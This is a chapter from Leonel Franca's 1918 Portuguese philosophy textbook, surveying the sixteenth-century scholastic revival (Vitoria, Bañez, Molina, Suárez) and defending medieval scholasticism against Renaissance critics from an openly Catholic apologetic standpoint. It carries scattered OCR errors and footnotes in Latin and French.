Continued from: Filosofia Renascentista

Noções de Filosofia – Pe Leonel Franca (1918)

ARTIGO II

RENASCENÇA ESCOLÁSTICA DO SÉCULO XVI

100. A decadência da escolástica, acentuada no período precedente foi, no século XVI, detida por um vigoroso movimento de restauração. Entre as causas deste rejuvenescimento, que constitui a "idade de prata" da escolástica, convém lembrar o Concilio de Trento, oposto pela Igreja à Reforma protestante. Com os trabalhos conciliares recebeu incremento a teologia católica e dos progressos da teologia beneficiou também a filosofia.

O berço desta regeneração foi a Espanha, donde depois se propagou sobretudo na Itália e na Bélgica. O novo movimento é caracterizado pelo estudo direto dos grandes mestres, por uma volta às sínteses do século XIII, aliada a uma originalidade sadia, sinal de grandes inteligências e por um cultivo mais esmerado da forma.

Silvestre de Ferrara, Caetano e Javelli podem considerar-se como seus precursores.. Mas o verdadeiro iniciador da reforma foi o dominicano Francisco Vitoria (1480-1546) e os mais zelosos promotores sairam da ordem de São Domingos, do Carmo e da Companhia de Jesus então recentemente fundada.

101. Entre os DOMINICANOS distinguiram-se Melquior Cano (1509-1560), notável teólogo, que não cede a nenhum humanista no apuro do estilo e no aticismo da forma; Domingos de Soto (1494–1560), que agitou várias questões de direito; Domingos Banez (1528–1604), autor de uma teoria de conciliação do livre arbítrio com a onis ciência e onipotência de Deus, teoria conhecida com o nome de "pre-determinação física" e que acendeu entre jesuítas e dominicanos uma das mais vivas e prolongadas polêmicas que registra a história da filosofia; João de Sto. Tomaz (1589-1644), português e intérprete conceituado das doutrinas do Doutor Angélico; Antônio Goudin (1639–1645), autor de uma Philosophia juxta inconcussa tutissimaque D. Thomae dogmata, Lugduni, 1671, obra muitas vezes reimpressa e merecidamente apreciada pela pureza da doutrina e perspicuidade do estilo.

102. Os CARMELITAS, que ensinaram em Salamanca, publicaram nesta época dois poderosos comentários, um teológico, (Cursus theologicus Collegii Salmanticensis, 1679) outro filosófico (Cursus artium, Collegii complutensis, 1624) às doutrinas de S. Tomaz. (Salmanticenses e Complutenses).

103. Entre os JESUÍTAS salientaram-se: P. Fonseca (1528–1599), que, em colaboração com outros professores de Coimbra (Manoel Góes, Cosme Magalhães, Sebastião de Couto) publicou um dos mais apreciados comentários de Aristóteles, o Cursus Conimbricen-sium; F. Toledo (1532-1596), depois Cardeal; Luiz Molina (1536–1600) autor da "ciência média" doutrina exposta na Concordia li-beri arbitni cum gratiae donis etc. (1588) que, atacada com veemência por Banez, deu azo à famosa discussão com os dominicanos. No dizer de De Maistre a teoria de Molina "representa o esforço mais feliz da filosofia cristã para conciliar, segundo as forças de nossa fraca inteligência, res olim dissociàtas, Ubertatem et principatum" (90), isto é, a liberdade do homem e a soberania de Deus; Gabriel Vasquez (1551-1604); L. Lessio (1554-1623); João de Lugo (1583–1660), moralista ilustre; Cosmo Alamanni (1559-1634) ; Diogo Ruiz de Montoía (1562-1632); De Arriaga (1592-1667); Sylvestre Mauro (1619-1687), um dos melhores comentadores da enciclopédia aris-totélica e, sobretudo, Francisco Suarez (1548-1617), Doctor eximius, o mais célebre de todos. Jurisconsulte, filósofo e teólogo, Suarez segue geralmente nas suas Discussões metafísicas (un des répertoires les mieux dressés les plus complet et les plus clairs de la métaphysique scolastique" (M. de Wulf) as doutrinas de S. Tomás, mas em vários pontos delas se afasta para seguir idéias próprias. No tratado De legibus, talvez sua obra prima, faz um estudo completo de Direito social e combate a Jaime I, de Inglaterra, que defendia com os teólogos protestantes o pretendido direito divino dos reis. Aí (cfr. De Leg. III. c. 4 e Def. Fid. Cath. L. III. c. 6) sustenta o grande jurista que a autoridade, de origem divina, não é comunicada ao soberano senão por intermédio do povo. imediatamente, o poder é conferido à multidão, que depois o transfere a um ou vários de seus membros escolhidos pelo consentimento geral, tácito ou explícito.

Em caso de tirania, o povo pode, sob certas cláusulas, retomar a autoridade que êle conserva sempre in radice (como diz Lessio) e concedê-la a outrem (91).

Suarez, dans lequel on entend toute l’école moderne (Bossuet), é o mais sóbrio e o mais profundo dos novos escolásticos. Dêle diz Gonzalez O. P.: "Suarès est peut-être après Saint Thomas la personnification la plus eminente de la Philosophie scolastique… " (92).

Sua influência em todos os filósofos posteriores, católicos e não católicos (Grócio, Leibniz, Schopenhauer etc.) é só comparável à do Doutor Angélico.

(90) J. de Maistsre, De l’Église gallicane, llv. I. c. ix, p. 91-92. Sobre a t&mosa controvérsia entre jesuítas e dominicanos podem consultar-se as duas obras modernas de Schneemann, Controversiarum de divinae gratiae liberique arbitrii concórdia etc., 1881 e Th. de Régnon Banes et Molina.

(91) Com a doutrina de Suarez não se deve confundir a de Rousseau. Pará o sábio jesuíta a autoridade civil é sempre de origem divina. Para o autor do Contrato Social não só a autoridade é de origem puramente humana, congérie resultante dos direitos individuais renunciados por ilm pacto livre, mas a organização toda da sociedade prescinde das relações entre Deus e o homem. No século passado, vários escolásticos navegando na esteira aberta por Taparelli d’Azeglio abandonaram parcialmente á opinião de Suarez. Cf. Th. Meyer, Liberatore, Schiffini, Tongiorgi, Palmieri, Ca-threln, etc. Provavelmente em espírito de oposição a Rousseau rejeitam estes autores qualauer consentimento do povo, implícito ou explícito, na determinação da primeira autoridade. Recentemente, porém, outros filósofos de não somenos valia voltam a defender em sua integridade primitiva a teoria suareziana, que parece ser na realidade a verdadeira doutrina escoiástica acerca da origem do poder. Entre estes autores citamos Costa-Rossettl, Macksey e o Cardeal Billot. (De Ε cel., p. 12sect. M-HI).

(92) Hist, de la Philosophie, t. III. p. 135.

BIBLIOGRAFIA

— Getino, El maestro Fr. de Vitoria, Madrid, 1914; — M. Uedelhoven, Die Logik Petrus Fonseca, Bonn. 1916; — R. de Scorraille, François Suarez, 2 vols., Paris, 1921; — L. Mahieu, François Suarez, sa philosophie et les rapports qu’elle a avec sa théologie, Paris, 1921; — K. Werner, Fr. Suarez und die Scholastik der letzten Jahrhunderte, 2 vols., Regensburg, 1861; — K. Six. M. Grabmann, F. Hatheyer. A. Inauen, J. Biederlack, Beiträge zur Philosophie des P. Suarez, Innsbruck, 1917; — A. G. Ribeiro Vasconcelos, Francisco Suarez, Coimbra, 1897; — Ε. Conze, Der Begriff der Metaphysik bei Franz Suarez, Leipzig 1928; — Ch. van Süll, Leonard Lessius, Louvain, 1930.

104. VISTA RETROSPECTIVA — JUÍZO SOBRE A ESCOLÁSTICA — O estudo sucinto que acabamos de fazer da evolução histórica dos sistemas medievais permite-nos agora dar um juízo desapaixonado sobre a importância de seu valor doutrinai.

Nascida no Ocidente europeu, no fim das invasões bárbaras, a filosofia escolástica houve de lutar a princípio contra as condições desfavoráveis de um ambiente inculto e sem tradições científicas.

A elaboração do pensamento foi, por isso, lenta, trabalhosa, e assinalada, às vezes, por desvios perigosos. Mas, de geração em geração, vai-se acentuando um progresso constante. Pouco a pouco, agregam-se as idéias, articulam-se as teorias, compaginam-se os sistemas. No fim do século XII, um conjunto de circunstâncias propícias acelera a fusão destes materiais esparsos em grandiosas construções sintéticas. O século XIII é, inquestionavelmente, um dos períodos mais brilhantes na história do pensamento humano. Todas as partes da filosofia desenvolvem-se então harmoniosamente, e os grandes problemas que sempre atormentaram a inteligência recebem uma solução clara, profunda e coerente. Concordando em um núcleo comum de verdades fundamentais, as grandes individualidades deste século não deixam de imprimir às suas especulações o cunho original da própria personalidade.

S. Tomás é eminentemente racional. S. Boaventura, afetivo e místico. Alberto Magno consagra-se mais ao estudo e à observação da natureza. Scoto aplica-se de preferência à crítica.

Ao período de apogeu, porém, seguiu de perto a decadência. Causas externas e internas, alheias ao valor das doutrinas substanciais, para isso concorreram.

Quando, mais tarde, surgiu a reação aos seus transvios, a escolástica, enfraquecida em a maioria de seus representantes, achava-se na incapacidade de usar em sua defesa das mesmas armas, que em outras eras lhe asseguraram o triunfo, contra adversários mais fortes e terríveis. Em mãos menos hábeis houve de ceder temporariamente à coligação das forças contrárias.

Ora, sobre estes representantes decadentes das idéias tradicionais acremente combatidos e ridiculamente desfigurados pela literatura da renascença, baseou-se durante mais de dois séculos o juízo da posteridade acerca da filosofia medieval. Foi uma injustiça flagrante. Ao século XIX cumpria repará-la. Em verdade, o valor de uma filosofia deve aquilatar-se pelo dos seus mais altos representantes. Não é por Anaximandro ou Epicuro, senão por Sócrates, Platão e Aristóteles que se avalia a pujança do gênio grego. Nas grandes construções do século ΧΙΠ, portanto, e sobretudo na síntese tomista, a mais profunda encamacão do gênio escolástico, é que cumpre procurar os elementos de uma crítica imparcial e justa.

Ora, desta síntese, considerada à luz da história, são verdadeiras as acusações lavradas pelo século XVI e tantas vezes repetidas pelos que o seguiram?

Sem tergiversar respondemos: não.

De feito. Acusaram-na, antes de tudo. de revestir os seus pensamentos de uma linguagem bárbara e inculta. Ε foi exageração. Sem levarem o apuro da forma aos requintes clássicos da Renascença, escreveram os grandes escolásticos num latim sóbrio e correto, que era a linguagem douta do temno em que viveram.

A aluvião de barbarismes e solecismos é posterior ao século XIII. Demos a palavra a uma testemunha insuspeita, F. Paulsen, professor de filosofia na Universidade de Berlim: "Se falar de modo bárbaro é falar diferentemente dos romanos do tempo de Cícero, o latim da Idade Média é, sem dúvida nenhuma, bárbaro como o é o francês e o alemão. Se, pelo contrário, com esta expressão se quer significar uma linguagem aue não corresponde ao pensamento, in-çada de incorreções, formada de frases serzidas de todos os lados, deslocadas e sem sentido, a recriminação de falar uma linguagem bárbara muito mais recairia, nesse caso. sobre os humanistas do que sobre os filósofos e teólogos da Idade Média. A língua destes últimos não foi menos conveniente e necessária às suas investigações científicas do que o estilo de Aristóteles à sua filosofia… O latim de Idade Média prestou-se com admirável propriedade à sua missão de língua universal da ciência" (93).

Acusaram-na ainda (Erasmo, Descartes, Bacon e outros até nossos dias) de abdicar a razão individual em face do argumento de autoridade, e de seguir cegamente Aristóteles. Ε foi ignorância completa das grandes obras da escolástica.

Nelas não há uma só tese filosófica de importância que se funde exclusivamente no argumento de autoridade, e todos os grandes doutores são concordes em proclamá-lo o mais fraco dos argumentos.

Ouçamos a S. Tomaz: "O argumento de autoridade baseado na razão humana é fragilíssimo" (94). Ε em outro lugar: "O estudo da filosofia não tem por fim conhecer a opinião dos homens mas a verdade das coisas" (95). Com nobre altivez, Alberto Magno: "É inútil perguntarem pelo autor, porque, fora da escola de Pitágoras, em que só se admitia o que julgava o mestre, nunca tal pergunta se fêz a um filósofo" (96). Egidio Romano assim se exprime: "Não se devem cativar as inteligências em obséquio ao homem, mas só em obséquio a Cristo" (97). Ε no mesmo teor falam S. Boaven-tura, R. Bacon, Durando e outros, cujas citações, para não sermos prolixos, omitimos.

Relativamente à autoridade de Aristóteles em particular, um estudo profundo da escolástica revela para logo inúmeros pontos em que os filósofos medievais abandonaram, corrigiram e combateram o estagirita. Se no século áureo, lhe seguiram as doutrinas filosóficas, não foi por mera deferência à sua autoridade senão por convicção profunda de assim defenderem a verdade. Ε a ninguém assiste o direito de os recriminar, por isso, sem antes provar que tais doutrinas são falsas. Demais, onde Aristóteles lhes pareceu trans-viado, abandonaram-no sem hesitar. Egidio Romano escreveu um tratado De erroribus philosophorum, Aristotelis, Averrois etc. Alberto Magno, grande admirador e vulgarizador do filósofo grego, conservou sempre toda a independência pessoal na crítica das suas doutrinas. São do mestre de S. Tomaz estas palavras dignamente altivas: "qui credit Aristotelem fuisse Deum, ille debet credere quod numquam erravit. Si autem credit ipsum esse hominem tunc pro-cul dubio errare potuit sicut nos" (98). Em face destes documentos, acusar ainda hoje a escolástica de servilismo intelectual é dar prova de ignorância muito atrasada ou de acintosa má-fé. O próprio Hauréau, com todos os preconceitos antiescolásticos de um raciona-lista, confessa que jamais como no médio evo se sentiu tanto a necessidade de exercitar a razão (99).

Acusaram-na, finalmente, de abusar do silogismo, de desprezar a observação e de cair em erros grosseiros de física, astronomia etc. Ε foi irreflexão. Usaram de preferência o silogismo: 1.·) Porque as necessidades dos tempos assim o exigiam. Nas discussões contra os árabes não convinha aos filósofos critãos mostrarem-se inferiores aos seus adversários no manejo de uma arma de que eles tanto usavam e abusavam. 2.º) Porque eram filósofos e não naturalistas, e se nas ciências experimentais prevalece a indução, na filosofia, como nas matemáticas, é a dedução que prima. Quando, porém, se ocupavam dos fenômenos naturais recorriam à experiência e a inculcavam insistentemente. Já citamos Rogério Bacon. Alberto Magno não é menos explícito na sua botânica: "Em tais estudos só a experiência dá certeza, porque a naturezas tão particulares não se pode aplicar silogismos" (100).

Quanto às doutrinas errôneas de física, química etc, que culpa tinham os escolásticos de viverem em um tempo em que as ciências experimentais se achavam ainda no berço? Ε com que direito podemos exigir dos grandes vultos medievais, eclesiásticos e religiosos na sua maioria, uma atividade universal? Cada época tem suas pre-dileções. Ainda assim, Bacon e Alberto Magno concorreram notavelmente para o progresso dos conhecimentos da natureza. Os outros assimilaram as doutrinas do seu tempo como fizeram e fazem ainda todos os filósofos. Descartes, que viveu em tempos melhores, não nos fala com toda a seriedade nos quatro elementos de Em-pédocles, nos quatro humores de Galeno, nos espíritos animais que atravessando os crivos da glândula pineal se lançam pelos nervos para entumescerem os músculos e em quej andas outras antigalhas científicas? (101).

Muito ao contrário são para admirar por vezes as vistas profundas dos grandes filósofos da Idade Média sobre as teorias físicas então correntes. É notável e bem conhecido o passo em que S. Tomás, falando da teoria ptolemáica, diz: "não é necessário que sejam verdadeiras as hipóteses dos astrólogos. Ainda que com elas se expliquem aparentemente os fatos pode muito bem dar-se que com outra hipótese ainda não conhecida dos homens também se expliquem os fenômenos astronômicos" (102). Alberto Magno não jura também pelas teorias vigentes: "É difícil, diz êle, dizer a verdade sobre a natureza do mundo. Os filósofos discordam e as razões α priori são insuficientes para solver a questão" (103).

Podemos, portanto, com razão, concluir que as principais acusações articuladas contra a escolástica em geral são destituídas de fundamento. Mereceram-nas, sim, alguns dos seus representantes posteriores, que, se houvessem permanecido fiéis às tradições dos grandes mestres, teriam certamente evitado o grande conflito com as ciências experimentais. As descobertas que revolucionaram os antigos conhecimentos físicos não interessaram a substância doutrinai da filosofia. As doutrinas demolidas pelas novas observações não eram solidárias de toda a síntese peripatética, faziam parte da cos-mologia, donde, sem quebra de unidade sistemática se podiam facilmente desprender, permanecendo intata toda a parte especulativa da mesma cosmologia (104), toda a psicologia, a teodicéia, a lógica e a moral.

Doutro lado, os sábios não se houveram com moderação e prudência, condenando precipitadamente e em globo toda uma filosofia da qual apenas demonstraram falsas algumas teorias acessórias. Assim passou em julgado que o prestígio da escolástica decaíra para sempre e que também no campo filosófico, como no científico, era mister aventurar-se por sendas novas em demanda da verdade. Foi um equívoco lamentável e de funestíssimas conseqüências. Sábios e escolásticos de outrora foram os responsáveis: "os homens de ciência abateram um soberbo carvalho com o pretexto de que se não podia tocar na árvore secular e que, em se lhe podando um ramo, lhe fenecia a vida. Caiu a escolástica por falta de homens, não por falta de idéias" (105).

(93) F. Paulsen, Geschichte des gelehrten Unterrichts auf den deutschen Schulen und Universitäten vom Ausgang des Mittelalters bis zur Gegenwart, p. 27, Leipzig, 185. A. Darmsteter nao hesita em afirmar que: "à escolástica e ao baixo latim deve o francês a incomparável nitidez de sua linguagem filosófica". La vie des mots, p. 72, nota. Neste mesmo sentido falou Barthélémy Saint-Hilaire quando chamou a escolástica "toute française et toute parisienne". Traduction de la Logique d’Aristote, t. I., prefácio, p. V.

(94) "Locus ab auctoritate quae fundatur super ratione humana est infírmíssimus". S. Theol. I. Q. L, a 8., ad 2um.

(95) "Studium philosophiae uon est ad hoc quod sciatur quid homines senserint sed qualiter se habeat Veritas rerum". In lib. I De coelo, Lect. 22.

(96) "Quod autem de auctore quidam quaerunt supervacaneum est et numquam ab allquo philosopho quœsitum est nisi in Scholia Pythagorae, quia in illis scholia nil reclpiebatur nisi quod fecit Pythagoras. Ab aliis autem quaesitum non est: a quo-cumque enim dicta erant recipiebantur, dummodo probatae veritatis haberent rationem. Unde Seneca, De Virtutibus cardinalibus. Ne quis dicat, sed quid dicat, intuitor". Peri-herm., Lib. I. Tr. I, c. I.

(97) "Nec cogendi sunt discipuli ut in omnibus suorum doctorum opiniones reti-neant, quia non est captivandus intellectus in obsequium hominis sed in obsequlum Christi". De grad. formaram, p. 2, c. β. Ε em outro lugar: "Non credimus philosophis, nisi quatenus ratlonabiliter locuti sunt". Sent, I, part. I, q. 1, a 2.

(98) Phya. Lib. VII. Tract. I. c. XIV. » h» »

(99) Diction, des science, phüosoph. Na palavra Scolostique. — Sobre este argumento cfr. o trabalho bem documentado de Τ alamo, L’oristotelismo della Scolastica. Alias esta independência legítima e razoável do pensamento é muito de tradição cristã. Ja S. Agostinho dizia: "Alios (autores; ita lego ut quantallbet sanctitate, doctrlnaque praepolleant, non ideo verum putem quod ipsi ita senserunt vel scripserunt".

(100) "Earum quas ponemus (sententias) quasdam quidem ipsi nos experimento nrobavlmus, quasdam autem referimus ex dictis eorum, quos comperimus non de facili alíqua dicere nisi probata per experimentum. Experimentum enim solum certificat in talibus quia de tarn particularibus naturis Syllogismus haberi non potest". De Vegetalibus, Ed. 1651. t. V., p. 430.

(101) Na sua física Descartes, por vêzes, é realmente de uma ingenuidade pueril. Nenhum químico moderno sabe porque o vidro é duro e quebradlço. Nada mais, simples para Descartes. "La cause de sa dureté est que chacune de ses parties est si grosse et si dure, et, avec cela, si difficile de plier, que le feu n’a pas eu la force de les rompre." "La cause qui rend le verre caseant est que ses parties ne se touchent immédiatement qu’en superficies qui sont fort petites et en petit nombre". Principes de la Philosophie, D7, 127. Como se fingem a priori constituições moleculares! Se fosse um escolas tico!

(102) "Astrologorum suppositlones quas invenerunt, non est necessarium esse veras. Licet enim talibus suppositlonibus f actis appareant solvere, non tarnen oportet, dicere has suppositlones esse veras, quia secundum alium modum nondum ab hominibus comprehensum, apparentia circa Stellas salvatur". De cœlo et mundo, I, II, Lect. 17. Cfr. Summa Theol. I, a. 32. a. 1. ad 3um.

(103) "Constat difficile esse allquod verum tradere de natura orbls, cum et phi-losophl inter se dissentiant, et per rationem demonstrativam ad hoc non posset aliquis pervenire". De Cœlo, I, II, c. 4.

(104) Eis como Duhem, ilustre físico, outrora professor de ciências na Universidade de Bordéus, aprecia a cosmologia peripatética; "Celui qui parcourt a la hâte les oeuvres des péripatéticiens, qui se borne à effleurer la surface de doctrines exposés en ces oeuvres, aperçoit de tous côtés, des observations étranges, des explications sans portée, des discussions oiseuses et fastidieuses; en un mot, un système vieilli… Toute autre est l’impression ressentie par celui qui creuse davantage; sous cette croûte superficielle où se conservent, mortes et fossilisées, les doctrines physiques des anciens âges, il découvre les pensées profondes qui sont au coeur même de la cosmologie péripatéticienne; débarrassées de l’écorce qui les cachait en même temps qu’elle les tenait captivés, ces pensées reprennent vie et mouvement. Au fur et a mesure qu’elles s’animent, on voit s’effacer le masque de vétusté qui les dissimulait; bientôt entre leur aspect rajeuni et notre thermodynamique moderne se manifeste une saisissante ressemblance. P. Duhem, Physique de croyant, p. 48. Bloud, Paris, 1905.

(105) Wulf, Hist, de la Philos. Médié, t. II, p. 294. Não concordamos de todo o ponto com o ilustrado professor de Lovaina em atribuir exclusivamente à falta de homens a queda da escolástica. Outras causas extrínsecas também poderosamente influíram no lamentável desastre. E’ bem sabido como na segunda metade do século XVIII (época em que de todo se extinguiu a escolástica), jansenistas, enciclopedistas, protestantes e carbonários, em vasta conjuração, coligaram suas forças contra a Igreja Católica. A Filosofia tradicional então foi naturalmente visada de modo particular como um dos mais fortes propugnáculos da verdade. Os governos cúmplices no grande conluio mancomunaram a sua destruição. Em alguns lugares, fecharam-se violentamente as universidades e os seminários católicos, em outros, foram os professores demitidos e substituídos por defensores das novas idéias, em toda parte proscreveram rigorosamente os antigos ensinamentos. Assim consumou a violência a obra nefasta que outras forças menos poderosas não haviam logrado levar a termo. — Mais on ne tue pas les idées à coup de bâtons. O século XIX assistirá à renascença da escolástica tanto mais forte na unidade doutrinai de sua síntese, quanto mais anárquica é a situação presente dos sistemas aue outrora a combateram.


Liv. Agir. Editora. 20ª ed.

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